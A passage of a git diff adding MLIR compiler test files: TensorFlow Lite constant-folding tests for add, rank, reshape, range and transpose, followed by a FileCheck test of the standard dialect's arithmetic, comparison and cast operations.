+  %2 = "tfl.add"(%0, %1) {fused_activation_function = "NONE"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>
+
+  return %2 : tensor<4xi32>
+
+// CHECK:  %cst = constant dense<[-5, 4, 47, 105]> : tensor<4xi32>
+// CHECK:  return %cst
+}
+
+// CHECK-LABEL: @add_splat_dense_int
+func @add_splat_dense_int() -> tensor<4xi32> {
+  %0 = constant dense< 5> : tensor<4xi32>
+  %1 = constant dense<[-10, -1, 42, 100]> : tensor<4xi32>
+
+  %2 = "tfl.add"(%0, %1) {fused_activation_function = "NONE"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>
+
+  return %2 : tensor<4xi32>
+
+// CHECK:  %cst = constant dense<[-5, 4, 47, 105]> : tensor<4xi32>
+// CHECK:  return %cst
+}
+
+// CHECK-LABEL: @add_dense_dense_int_same_shape
+func @add_dense_dense_int_same_shape() -> tensor<4xi32> {
+  %0 = constant dense<[15, 23, -44, -2]> : tensor<4xi32>
+  %1 = constant dense<[-10, -1, 42, 100]> : tensor<4xi32>
+
+  %2 = "tfl.add"(%0, %1) {fused_activation_function = "NONE"} : (tensor<4xi32>, tensor<4xi32>) -> tensor<4xi32>
+
+  return %2 : tensor<4xi32>
+
+// CHECK:  %cst = constant dense<[5, 22, -2, 98]> : tensor<4xi32>
+// CHECK:  return %cst
+}
+
+// CHECK-LABEL: @add_dense_dense_int_trailing_dim
+func @add_dense_dense_int_trailing_dim() -> (tensor<2x2xi32>, tensor<2x2x2xi32>, tensor<2x2x2xi32>) {
+  %cst_0 = constant dense<[10, 20]> : tensor<2xi32>
+  %cst_1 = constant dense<[[1, 2], [3, 4]]> : tensor<2x2xi32>
+  %cst_2 = constant dense<[[[1, 1], [2, 2]], [[3, 3], [4, 4]]]> : tensor<2x2x2xi32>
+
+  %0 = "tfl.add"(%cst_0, %cst_1) {fused_activation_function = "NONE"} : (tensor<    2xi32>, tensor<  2x2xi32>) -> tensor<  2x2xi32>
+  %1 = "tfl.add"(%cst_2, %cst_1) {fused_activation_function = "NONE"} : (tensor<2x2x2xi32>, tensor<  2x2xi32>) -> tensor<2x2x2xi32>
+  %2 = "tfl.add"(%cst_0, %cst_2) {fused_activation_function = "NONE"} : (tensor<    2xi32>, tensor<2x2x2xi32>) -> tensor<2x2x2xi32>
+
+  return %0, %1, %2 : tensor<2x2xi32>, tensor<2x2x2xi32>, tensor<2x2x2xi32>
+
+// CHECK:  %cst = constant dense<{{\[\[}}11, 22], [13, 24]]> : tensor<2x2xi32>
+// CHECK:  %cst_0 = constant dense<{{\[\[\[}}2, 3], [5, 6]], {{\[\[}}4, 5], [7, 8]]]> : tensor<2x2x2xi32>
+// CHECK:  %cst_1 = constant dense<{{\[\[\[}}11, 21], [12, 22]], {{\[\[}}13, 23], [14, 24]]]> : tensor<2x2x2xi32>
+// CHECK:  return %cst, %cst_0, %cst_1
+}
+
+// CHECK-LABEL: @add_dense_dense_int_mixing_1_n
+func @add_dense_dense_int_mixing_1_n() -> tensor<2x2xi32> {
+  %cst_0 = constant dense<[[1, 2]]> : tensor<1x2xi32>
+  %cst_1 = constant dense<[[3], [4]]> : tensor<2x1xi32>
+
+  %0 = "tfl.add"(%cst_0, %cst_1) {fused_activation_function = "NONE"} : (tensor<1x2xi32>, tensor<2x1xi32>) -> tensor<2x2xi32>
+
+  return %0 : tensor<2x2xi32>
+
+// We don't support this case yet.
+// %cst = constant dense<{{\[\[}}4, 5], [5, 6]]> : tensor<2x2xi32>
+// CHECK:  %0 = "tfl.add"
+// CHECK:  return %0
+}
+
+// CHECK-LABEL: @add_dense_splat_float
+func @add_dense_splat_float() -> tensor<4xf32> {
+  %0 = constant dense<[-10.0, -1.5, 42.0, 7.25]> : tensor<4xf32>
+  %1 = constant dense< 3.5> : tensor<4xf32>
+
+  %2 = "tfl.add"(%0, %1) {fused_activation_function = "NONE"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>
+
+  return %2 : tensor<4xf32>
+
+// CHECK:  %cst = constant dense<[-6.500000e+00, 2.000000e+00, 4.550000e+01, 1.075000e+01]> : tensor<4xf32>
+// CHECK:  return %cst
+}
+
+// CHECK-LABEL: @add_splat_dense_float
+func @add_splat_dense_float() -> tensor<4xf32> {
+  %0 = constant dense< 3.5> : tensor<4xf32>
+  %1 = constant dense<[-10.0, -1.5, 42.0, 7.25]> : tensor<4xf32>
+
+  %2 = "tfl.add"(%0, %1) {fused_activation_function = "NONE"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>
+
+  return %2 : tensor<4xf32>
+
+// CHECK:  %cst = constant dense<[-6.500000e+00, 2.000000e+00, 4.550000e+01, 1.075000e+01]> : tensor<4xf32>
+// CHECK:  return %cst
+}
+
+// CHECK-LABEL: @add_dense_dense_float_same_shape
+func @add_dense_dense_float_same_shape() -> (tensor<4xf32>) {
+  %0 = constant dense<[1.5, 2.3, -4.4, -2.0]> : tensor<4xf32>
+  %1 = constant dense<[-10.4, -1.3, 42.4, 100.0]> : tensor<4xf32>
+
+  %2 = "tfl.add"(%0, %1) {fused_activation_function = "NONE"} : (tensor<4xf32>, tensor<4xf32>) -> tensor<4xf32>
+
+  return %2 : tensor<4xf32>
+
+// CHECK:  %cst = constant dense<[-8.89999961, 1.000000e+00, 3.800000e+01, 9.800000e+01]> : tensor<4xf32>
+// CHECK:  return %cst
+}
+
+// CHECK-LABEL: @add_dense_dense_float_trailing_dim
+func @add_dense_dense_float_trailing_dim() -> (tensor<2x2xf32>, tensor<2x2x2xf32>, tensor<2x2x2xf32>) {
+  %cst_0 = constant dense<[1., -4.]> : tensor<2xf32>
+  %cst_1 = constant dense<[[-5.5, 1.5], [7.5, -4.5]]> : tensor<2x2xf32>
+  %cst_2 = constant dense<[[[1., 1.], [2., 2.]], [[3., 3.], [4., 4.]]]> : tensor<2x2x2xf32>
+
+  %0 = "tfl.add"(%cst_0, %cst_1) {fused_activation_function = "NONE"} : (tensor<    2xf32>, tensor<  2x2xf32>) -> tensor<  2x2xf32>
+  %1 = "tfl.add"(%cst_2, %cst_1) {fused_activation_function = "NONE"} : (tensor<2x2x2xf32>, tensor<  2x2xf32>) -> tensor<2x2x2xf32>
+  %2 = "tfl.add"(%cst_0, %cst_2) {fused_activation_function = "NONE"} : (tensor<    2xf32>, tensor<2x2x2xf32>) -> tensor<2x2x2xf32>
+
+  return %0, %1, %2 : tensor<2x2xf32>, tensor<2x2x2xf32>, tensor<2x2x2xf32>
+
+// CHECK:  %cst = constant dense<{{\[\[}}-4.500000e+00, -2.500000e+00], [8.500000e+00, -8.500000e+00]]> : tensor<2x2xf32>
+// CHECK:  %cst_0 = constant dense<{{\[\[\[}}-4.500000e+00, 2.500000e+00], [9.500000e+00, -2.500000e+00]], {{\[\[}}-2.500000e+00, 4.500000e+00], [1.150000e+01, -5.000000e-01]]]> : tensor<2x2x2xf32>
+// CHECK:  %cst_1 = constant dense<{{\[\[\[}}2.000000e+00, -3.000000e+00], [3.000000e+00, -2.000000e+00]], {{\[\[}}4.000000e+00, -1.000000e+00], [5.000000e+00, 0.000000e+00]]]> : tensor<2x2x2xf32>
+// CHECK:  return %cst, %cst_0, %cst_1
+}
+
+// CHECK-LABEL: @add_dense_dense_float_mixfng_1_n
+func @add_dense_dense_float_mixfng_1_n() -> tensor<2x2xf32> {
+  %cst_0 = constant dense<[[1.5, -2.5]]> : tensor<1x2xf32>
+  %cst_1 = constant dense<[[-3.], [4.]]> : tensor<2x1xf32>
+
+  %0 = "tfl.add"(%cst_0, %cst_1) {fused_activation_function = "NONE"} : (tensor<1x2xf32>, tensor<2x1xf32>) -> tensor<2x2xf32>
+
+  return %0 : tensor<2x2xf32>
+
+// We don't support this case yet.
+// CHECK:  %0 = "tfl.add"
+// CHECK:  return %0
+}
+
+// CHECK-LABEL: @rank
+func @rank() -> tensor<1xi32> {
+  %cst = constant dense<[[1], [2]]> : tensor<2x1xi32>
+
+  // CHECK: [[cst:%.*]] = constant dense<2> : tensor<1xi32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.rank"(%cst) : (tensor<2x1xi32>) -> tensor<1xi32>
+  return %0 : tensor<1xi32>
+}
+
+// CHECK-LABEL: @rank_input_known_rank
+func @rank_input_known_rank(%arg0 : tensor<2x1xi32>) -> tensor<1xi32> {
+  // CHECK: [[cst:%.*]] = constant dense<2> : tensor<1xi32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.rank"(%arg0) : (tensor<2x1xi32>) -> tensor<1xi32>
+  return %0 : tensor<1xi32>
+}
+
+// CHECK-LABEL: @reshape
+func @reshape() -> tensor<1x2xi32> {
+  %cst = constant dense<[1, 2]> : tensor<2xi32>
+
+  // CHECK: [[cst:%.*]] = constant dense<{{\[\[}}1, 2]]> : tensor<1x2xi32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.reshape"(%cst) : (tensor<2xi32>) -> tensor<1x2xi32>
+  return %0 : tensor<1x2xi32>
+}
+// CHECK-LABEL: @pseudo_const
+func @pseudo_const() -> tensor<i32> {
+  // CHECK: [[cst:%.*]] = constant dense<1> : tensor<i32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.pseudo_const"() {value = dense<1> : tensor<i32>} : () -> tensor<i32>
+  return %0 : tensor<i32>
+}
+
+
+// CHECK-LABEL: @range_int
+func @range_int() -> tensor<?xi32> {
+  %cst = constant dense<0> : tensor<i32>
+  %cst_1 = constant dense<4> : tensor<i32>
+  %cst_2 = constant dense<1> : tensor<i32>
+
+  // CHECK: [[cst:%.*]] = "tfl.pseudo_const"() {value = dense<[0, 1, 2, 3]> : tensor<4xi32>} : () -> tensor<?xi32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.range"(%cst, %cst_1, %cst_2) : (tensor<i32>, tensor<i32>, tensor<i32>) -> tensor<?xi32>
+  return %0 : tensor<?xi32>
+}
+
+// CHECK-LABEL: @range_float
+func @range_float() -> tensor<?xf32> {
+  %cst = constant dense<0.0> : tensor<f32>
+  %cst_1 = constant dense<4.0> : tensor<f32>
+  %cst_2 = constant dense<1.0> : tensor<f32>
+
+  // CHECK: [[cst:%.*]] = "tfl.pseudo_const"() {value = dense<[0.000000e+00, 1.000000e+00, 2.000000e+00, 3.000000e+00]> : tensor<4xf32>} : () -> tensor<?xf32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.range"(%cst, %cst_1, %cst_2) : (tensor<f32>, tensor<f32>, tensor<f32>) -> tensor<?xf32>
+  return %0 : tensor<?xf32>
+}
+
+
+// CHECK-LABEL: @range_float_neg_delta
+func @range_float_neg_delta() -> tensor<?xf32> {
+  %cst = constant dense<0.0> : tensor<f32>
+  %cst_1 = constant dense<-4.0> : tensor<f32>
+  %cst_2 = constant dense<-1.0> : tensor<f32>
+
+  // CHECK: [[cst:%.*]] = "tfl.pseudo_const"() {value = dense<[0.000000e+00, -1.000000e+00, -2.000000e+00, -3.000000e+00]> : tensor<4xf32>} : () -> tensor<?xf32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.range"(%cst, %cst_1, %cst_2) : (tensor<f32>, tensor<f32>, tensor<f32>) -> tensor<?xf32>
+  return %0 : tensor<?xf32>
+}
+
+// CHECK-LABEL: @range_float_nonzero_base
+func @range_float_nonzero_base() -> tensor<?xf32> {
+  %cst = constant dense<2.0> : tensor<f32>
+  %cst_1 = constant dense<7.0> : tensor<f32>
+  %cst_2 = constant dense<1.5> : tensor<f32>
+
+  // CHECK: [[cst:%.*]] = "tfl.pseudo_const"() {value = dense<[2.000000e+00, 3.500000e+00, 5.000000e+00, 6.500000e+00]> : tensor<4xf32>} : () -> tensor<?xf32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.range"(%cst, %cst_1, %cst_2) : (tensor<f32>, tensor<f32>, tensor<f32>) -> tensor<?xf32>
+  return %0 : tensor<?xf32>
+}
+
+// CHECK-LABEL: @transpose_no_fold
+func @transpose_no_fold(%arg0 : tensor<2xi32>) -> tensor<2x2xi32> {
+  %cst = constant dense<[[0, 1], [2, 3]]> : tensor<2x2xi32>
+
+  // CHECK: tfl.transpose
+  %0 = "tfl.transpose"(%cst, %arg0) : (tensor<2x2xi32>, tensor<2xi32>) -> tensor<2x2xi32>
+  return %0 : tensor<2x2xi32>
+}
+
+// CHECK-LABEL: @transpose_1d
+// Basic 1D identity
+func @transpose_1d() -> tensor<3xi32> {
+  %cst = constant dense<[1, 2, 3]> : tensor<3xi32>
+  %cst_perm = constant dense<0> : tensor<1xi32>
+
+  // CHECK: [[cst:%.*]] = constant dense<{{\[}}1, 2, 3]> : tensor<3xi32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.transpose"(%cst, %cst_perm) : (tensor<3xi32>, tensor<1xi32>) -> tensor<3xi32>
+  return %0 : tensor<3xi32>
+}
+
+// CHECK-LABEL: @transpose_dynamic
+func @transpose_dynamic() -> tensor<?xi32> {
+  %cst = constant dense<[1, 2, 3]> : tensor<3xi32>
+  %cst_perm = constant dense<0> : tensor<1xi32>
+
+  // CHECK: [[cst:%.*]] = "tfl.pseudo_const"() {value = dense<{{\[}}1, 2, 3]> : tensor<3xi32>} : () -> tensor<?xi32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.transpose"(%cst, %cst_perm) : (tensor<3xi32>, tensor<1xi32>) -> tensor<?xi32>
+  return %0 : tensor<?xi32>
+}
+
+// CHECK-LABEL: @transpose_2d
+func @transpose_2d() -> tensor<2x2xi32> {
+  %cst = constant dense<[[0, 1], [2, 3]]> : tensor<2x2xi32>
+  %cst_perm = constant dense<[1, 0]> : tensor<2xi32>
+
+  // CHECK: [[cst:%.*]] = constant dense<{{\[\[}}0, 2], {{\[}}1, 3]]> : tensor<2x2xi32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.transpose"(%cst, %cst_perm) : (tensor<2x2xi32>, tensor<2xi32>) -> tensor<2x2xi32>
+  return %0 : tensor<2x2xi32>
+}
+
+// CHECK-LABEL: @transpose_2d_identity
+func @transpose_2d_identity() -> tensor<2x2xi32> {
+  %cst = constant dense<[[0, 1], [2, 3]]> : tensor<2x2xi32>
+  %cst_perm = constant dense<[0, 1]> : tensor<2xi32>
+
+  // CHECK: [[cst:%.*]] = constant dense<{{\[\[}}0, 1], {{\[}}2, 3]]> : tensor<2x2xi32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.transpose"(%cst, %cst_perm) : (tensor<2x2xi32>, tensor<2xi32>) -> tensor<2x2xi32>
+  return %0 : tensor<2x2xi32>
+}
+
+// CHECK-LABEL: @transpose_3d
+// A test case adopted from TransposeTest.Test3DInputConstTensor in
+// tensorflow/lite/kernels/transpose_test.cc
+func @transpose_3d() -> tensor<4x2x3xi32> {
+  %cst = constant dense<[[[0, 1, 2, 3], [4, 5, 6, 7], [8, 9, 10, 11]], [[12, 13, 14, 15], [16, 17, 18, 19], [20, 21, 22, 23]]]> : tensor<2x3x4xi32>
+  %cst_perm = constant dense<[2, 0, 1]> : tensor<3xi32>
+
+  // CHECK: [[cst:%.*]] = constant dense<{{\[\[\[}}0, 4, 8], {{\[}}12, 16, 20]], {{\[\[}}1, 5, 9], {{\[}}13, 17, 21]], {{\[\[}}2, 6, 10], {{\[}}14, 18, 22]], {{\[\[}}3, 7, 11], {{\[}}15, 19, 23]]]> : tensor<4x2x3xi32>
+  // CHECK: return [[cst]]
+  %0 = "tfl.transpose"(%cst, %cst_perm) : (tensor<2x3x4xi32>, tensor<3xi32>) -> tensor<4x2x3xi32>
+  return %0 : tensor<4x2x3xi32>
+}
diff --git a/samples/MLIR/core-ops.mlir b/samples/MLIR/core-ops.mlir
new file mode 100644
index 0000000000..a2ea19e6b2
--- /dev/null
+++ b/samples/MLIR/core-ops.mlir
@@ -0,0 +1,454 @@
+// RUN: mlir-opt %s | FileCheck %s
+// Verify the printed output can be parsed.
+// RUN: mlir-opt %s | mlir-opt | FileCheck %s
+// Verify the generic form can be parsed.
+// RUN: mlir-opt -mlir-print-op-generic %s | mlir-opt | FileCheck %s
+
+// CHECK: #map0 = (d0) -> (d0 + 1)
+
+// CHECK: #map1 = ()[s0] -> (s0 + 1)
+// CHECK-DAG: #[[map_proj_d0d1_d0:map[0-9]+]] = (d0, d1) -> (d0)
+// CHECK-DAG: #[[map_proj_d0d1_d1:map[0-9]+]] = (d0, d1) -> (d1)
+// CHECK-DAG: #[[map_proj_d0d1_d1d0:map[0-9]+]] = (d0, d1) -> (d1, d0)
+
+// CHECK-LABEL: func @func_with_ops(%arg0: f32) {
+func @func_with_ops(f32) {
+^bb0(%a : f32):
+  // CHECK: %0 = "getTensor"() : () -> tensor<4x4x?xf32>
+  %t = "getTensor"() : () -> tensor<4x4x?xf32>
+
+  // CHECK: %1 = dim %0, 2 : tensor<4x4x?xf32>
+  %t2 = "std.dim"(%t){index = 2} : (tensor<4x4x?xf32>) -> index
+
+  // CHECK: %2 = addf %arg0, %arg0 : f32
+  %x = "std.addf"(%a, %a) : (f32,f32) -> (f32)
+
+  // CHECK:   return
+  return
+}
+
+// CHECK-LABEL: func @standard_instrs(%arg0: tensor<4x4x?xf32>, %arg1: f32, %arg2: i32, %arg3: index, %arg4: i64) {
+func @standard_instrs(tensor<4x4x?xf32>, f32, i32, index, i64) {
+^bb42(%t: tensor<4x4x?xf32>, %f: f32, %i: i32, %idx : index, %j: i64):
+  // CHECK: %0 = dim %arg0, 2 : tensor<4x4x?xf32>
+  %a = "std.dim"(%t){index = 2} : (tensor<4x4x?xf32>) -> index
+
+  // CHECK: %1 = dim %arg0, 2 : tensor<4x4x?xf32>
+  %a2 = dim %t, 2 : tensor<4x4x?xf32>
+
+  // CHECK: %2 = addf %arg1, %arg1 : f32
+  %f2 = "std.addf"(%f, %f) : (f32,f32) -> f32
+
+  // CHECK: %3 = addf %2, %2 : f32
+  %f3 = addf %f2, %f2 : f32
+
+  // CHECK: %4 = addi %arg2, %arg2 : i32
+  %i2 = "std.addi"(%i, %i) : (i32,i32) -> i32
+
+  // CHECK: %5 = addi %4, %4 : i32
+  %i3 = addi %i2, %i2 : i32
+
+  // CHECK: %{{[0-9]+}} = addi %arg3, %arg3 : index
+  %idx1 = addi %idx, %idx : index
+
+  // CHECK: %{{[0-9]+}} = addi %arg3, %{{[0-9]+}} : index
+  %idx2 = "std.addi"(%idx, %idx1) : (index, index) -> index
+
+  // CHECK: %8 = subf %arg1, %arg1 : f32
+  %f4 = "std.subf"(%f, %f) : (f32,f32) -> f32
+
+  // CHECK: %9 = subf %8, %8 : f32
+  %f5 = subf %f4, %f4 : f32
+
+  // CHECK: %10 = subi %arg2, %arg2 : i32
+  %i4 = "std.subi"(%i, %i) : (i32,i32) -> i32
+
+  // CHECK: %11 = subi %10, %10 : i32
+  %i5 = subi %i4, %i4 : i32
+
+  // CHECK: %12 = mulf %2, %2 : f32
+  %f6 = mulf %f2, %f2 : f32
+
+  // CHECK: %13 = muli %4, %4 : i32
+  %i6 = muli %i2, %i2 : i32
+
+  // CHECK: %c42_i32 = constant 42 : i32
+  %x = "std.constant"(){value = 42 : i32} : () -> i32
+
+  // CHECK: %c42_i32_0 = constant 42 : i32
+  %7 = constant 42 : i32
+
+  // CHECK: %c43 = constant {crazy = "std.foo"} 43 : index
+  %8 = constant {crazy = "std.foo"} 43: index
+
+  // CHECK: %cst = constant 4.300000e+01 : bf16
+  %9 = constant 43.0 : bf16
+
+  // CHECK: %f = constant @func_with_ops : (f32) -> ()
+  %10 = constant @func_with_ops : (f32) -> ()
+
+  // CHECK: %f_1 = constant @affine_apply : () -> ()
+  %11 = constant @affine_apply : () -> ()
+
+  // CHECK: %f_2 = constant @affine_apply : () -> ()
+  %12 = constant @affine_apply : () -> ()
+
+  // CHECK: %cst_3 = constant dense<0> : vector<4xi32>
+  %13 = constant dense<0> : vector<4 x i32>
+
+  // CHECK: %cst_4 = constant dense<0> : tensor<42xi32>
+  %tci32 = constant dense<0> : tensor<42 x i32>
+
+  // CHECK: %cst_5 = constant dense<0> : vector<42xi32>
+  %vci32 = constant dense<0> : vector<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = cmpi "eq", %{{[0-9]+}}, %{{[0-9]+}} : i32
+  %14 = cmpi "eq", %i3, %i4 : i32
+
+  // Predicate 1 means inequality comparison.
+  // CHECK: %{{[0-9]+}} = cmpi "ne", %{{[0-9]+}}, %{{[0-9]+}} : i32
+  %15 = "std.cmpi"(%i3, %i4) {predicate = 1} : (i32, i32) -> i1
+
+  // CHECK: %{{[0-9]+}} = cmpi "slt", %cst_3, %cst_3 : vector<4xi32>
+  %16 = cmpi "slt", %13, %13 : vector<4 x i32>
+
+  // CHECK: %{{[0-9]+}} = cmpi "ne", %cst_3, %cst_3 : vector<4xi32>
+  %17 = "std.cmpi"(%13, %13) {predicate = 1} : (vector<4 x i32>, vector<4 x i32>) -> vector<4 x i1>
+
+  // CHECK: %{{[0-9]+}} = cmpi "slt", %arg3, %arg3 : index
+  %18 = cmpi "slt", %idx, %idx : index
+
+  // CHECK: %{{[0-9]+}} = cmpi "eq", %cst_4, %cst_4 : tensor<42xi32>
+  %19 = cmpi "eq", %tci32, %tci32 : tensor<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = cmpi "eq", %cst_5, %cst_5 : vector<42xi32>
+  %20 = cmpi "eq", %vci32, %vci32 : vector<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = select %{{[0-9]+}}, %arg3, %arg3 : index
+  %21 = select %18, %idx, %idx : index
+
+  // CHECK: %{{[0-9]+}} = select %{{[0-9]+}}, %cst_4, %cst_4 : tensor<42xi32>
+  %22 = select %19, %tci32, %tci32 : tensor<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = select %{{[0-9]+}}, %cst_5, %cst_5 : vector<42xi32>
+  %23 = select %20, %vci32, %vci32 : vector<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = select %{{[0-9]+}}, %arg3, %arg3 : index
+  %24 = "std.select"(%18, %idx, %idx) : (i1, index, index) -> index
+
+  // CHECK: %{{[0-9]+}} = select %{{[0-9]+}}, %cst_4, %cst_4 : tensor<42xi32>
+  %25 = "std.select"(%19, %tci32, %tci32) : (tensor<42 x i1>, tensor<42 x i32>, tensor<42 x i32>) -> tensor<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = divis %arg2, %arg2 : i32
+  %26 = divis %i, %i : i32
+
+  // CHECK: %{{[0-9]+}} = divis %arg3, %arg3 : index
+  %27 = divis %idx, %idx : index
+
+  // CHECK: %{{[0-9]+}} = divis %cst_5, %cst_5 : vector<42xi32>
+  %28 = divis %vci32, %vci32 : vector<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = divis %cst_4, %cst_4 : tensor<42xi32>
+  %29 = divis %tci32, %tci32 : tensor<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = divis %arg2, %arg2 : i32
+  %30 = "std.divis"(%i, %i) : (i32, i32) -> i32
+
+  // CHECK: %{{[0-9]+}} = diviu %arg2, %arg2 : i32
+  %31 = diviu %i, %i : i32
+
+  // CHECK: %{{[0-9]+}} = diviu %arg3, %arg3 : index
+  %32 = diviu %idx, %idx : index
+
+  // CHECK: %{{[0-9]+}} = diviu %cst_5, %cst_5 : vector<42xi32>
+  %33 = diviu %vci32, %vci32 : vector<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = diviu %cst_4, %cst_4 : tensor<42xi32>
+  %34 = diviu %tci32, %tci32 : tensor<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = diviu %arg2, %arg2 : i32
+  %35 = "std.diviu"(%i, %i) : (i32, i32) -> i32
+
+  // CHECK: %{{[0-9]+}} = remis %arg2, %arg2 : i32
+  %36 = remis %i, %i : i32
+
+  // CHECK: %{{[0-9]+}} = remis %arg3, %arg3 : index
+  %37 = remis %idx, %idx : index
+
+  // CHECK: %{{[0-9]+}} = remis %cst_5, %cst_5 : vector<42xi32>
+  %38 = remis %vci32, %vci32 : vector<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = remis %cst_4, %cst_4 : tensor<42xi32>
+  %39 = remis %tci32, %tci32 : tensor<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = remis %arg2, %arg2 : i32
+  %40 = "std.remis"(%i, %i) : (i32, i32) -> i32
+
+  // CHECK: %{{[0-9]+}} = remiu %arg2, %arg2 : i32
+  %41 = remiu %i, %i : i32
+
+  // CHECK: %{{[0-9]+}} = remiu %arg3, %arg3 : index
+  %42 = remiu %idx, %idx : index
+
+  // CHECK: %{{[0-9]+}} = remiu %cst_5, %cst_5 : vector<42xi32>
+  %43 = remiu %vci32, %vci32 : vector<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = remiu %cst_4, %cst_4 : tensor<42xi32>
+  %44 = remiu %tci32, %tci32 : tensor<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = remiu %arg2, %arg2 : i32
+  %45 = "std.remiu"(%i, %i) : (i32, i32) -> i32
+
+  // CHECK: %{{[0-9]+}} = divf %arg1, %arg1 : f32
+  %46 = "std.divf"(%f, %f) : (f32,f32) -> f32
+
+  // CHECK: %{{[0-9]+}} = divf %arg1, %arg1 : f32
+  %47 = divf %f, %f : f32
+
+  // CHECK: %{{[0-9]+}} = divf %arg0, %arg0 : tensor<4x4x?xf32>
+  %48 = divf %t, %t : tensor<4x4x?xf32>
+
+  // CHECK: %{{[0-9]+}} = remf %arg1, %arg1 : f32
+  %49 = "std.remf"(%f, %f) : (f32,f32) -> f32
+
+  // CHECK: %{{[0-9]+}} = remf %arg1, %arg1 : f32
+  %50 = remf %f, %f : f32
+
+  // CHECK: %{{[0-9]+}} = remf %arg0, %arg0 : tensor<4x4x?xf32>
+  %51 = remf %t, %t : tensor<4x4x?xf32>
+
+  // CHECK: %{{[0-9]+}} = and %arg2, %arg2 : i32
+  %52 = "std.and"(%i, %i) : (i32,i32) -> i32
+
+  // CHECK: %{{[0-9]+}} = and %arg2, %arg2 : i32
+  %53 = and %i, %i : i32
+
+  // CHECK: %{{[0-9]+}} = and %cst_5, %cst_5 : vector<42xi32>
+  %54 = std.and %vci32, %vci32 : vector<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = and %cst_4, %cst_4 : tensor<42xi32>
+  %55 = and %tci32, %tci32 : tensor<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = or %arg2, %arg2 : i32
+  %56 = "std.or"(%i, %i) : (i32,i32) -> i32
+
+  // CHECK: %{{[0-9]+}} = or %arg2, %arg2 : i32
+  %57 = or %i, %i : i32
+
+  // CHECK: %{{[0-9]+}} = or %cst_5, %cst_5 : vector<42xi32>
+  %58 = std.or %vci32, %vci32 : vector<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = or %cst_4, %cst_4 : tensor<42xi32>
+  %59 = or %tci32, %tci32 : tensor<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = xor %arg2, %arg2 : i32
+  %60 = "std.xor"(%i, %i) : (i32,i32) -> i32
+
+  // CHECK: %{{[0-9]+}} = xor %arg2, %arg2 : i32
+  %61 = xor %i, %i : i32
+
+  // CHECK: %{{[0-9]+}} = xor %cst_5, %cst_5 : vector<42xi32>
+  %62 = std.xor %vci32, %vci32 : vector<42 x i32>
+
+  // CHECK: %{{[0-9]+}} = xor %cst_4, %cst_4 : tensor<42xi32>
+  %63 = xor %tci32, %tci32 : tensor<42 x i32>
+
+  %64 = constant dense<0.> : vector<4 x f32>
+  %tcf32 = constant dense<0.> : tensor<42 x f32>
+  %vcf32 = constant dense<0.> : vector<4 x f32>
+
+  // CHECK: %{{[0-9]+}} = cmpf "ogt", %{{[0-9]+}}, %{{[0-9]+}} : f32
+  %65 = cmpf "ogt", %f3, %f4 : f32
+
+  // Predicate 0 means ordered equality comparison.
+  // CHECK: %{{[0-9]+}} = cmpf "oeq", %{{[0-9]+}}, %{{[0-9]+}} : f32
+  %66 = "std.cmpf"(%f3, %f4) {predicate = 1} : (f32, f32) -> i1
+
+  // CHECK: %{{[0-9]+}} = cmpf "olt", %cst_8, %cst_8 : vector<4xf32>
+  %67 = cmpf "olt", %vcf32, %vcf32 : vector<4 x f32>
+
+  // CHECK: %{{[0-9]+}} = cmpf "oeq", %cst_8, %cst_8 : vector<4xf32>
+  %68 = "std.cmpf"(%vcf32, %vcf32) {predicate = 1} : (vector<4 x f32>, vector<4 x f32>) -> vector<4 x i1>
+
+  // CHECK: %{{[0-9]+}} = cmpf "oeq", %cst_7, %cst_7 : tensor<42xf32>
+  %69 = cmpf "oeq", %tcf32, %tcf32 : tensor<42 x f32>
+
+  // CHECK: %{{[0-9]+}} = cmpf "oeq", %cst_8, %cst_8 : vector<4xf32>
+  %70 = cmpf "oeq", %vcf32, %vcf32 : vector<4 x f32>
+
+  // CHECK: %{{[0-9]+}} = rank %arg0 : tensor<4x4x?xf32>
+  %71 = "std.rank"(%t) : (tensor<4x4x?xf32>) -> index
+
+  // CHECK: %{{[0-9]+}} = rank %arg0 : tensor<4x4x?xf32>
+  %72 = rank %t : tensor<4x4x?xf32>
+
+  // CHECK: = constant unit
+  %73 = constant unit
+
+  // CHECK: constant true
+  %74 = constant true
+
+  // CHECK: constant false
+  %75 = constant false
+
+  // CHECK: = index_cast {{.*}} : index to i64
+  %76 = index_cast %idx : index to i64
+
+  // CHECK: = index_cast {{.*}} : i32 to index
+  %77 = index_cast %i : i32 to index
+
+  // CHECK: = sitofp {{.*}} : i32 to f32
+  %78 = sitofp %i : i32 to f32
+
+  // CHECK: = sitofp {{.*}} : i32 to f64
+  %79 = sitofp %i : i32 to f64
+
+  // CHECK: = sitofp {{.*}} : i64 to f32
+  %80 = sitofp %j : i64 to f32
+
+  // CHECK: = sitofp {{.*}} : i64 to f64
+  %81 = sitofp %j : i64 to f64
+
+  return
+}
+
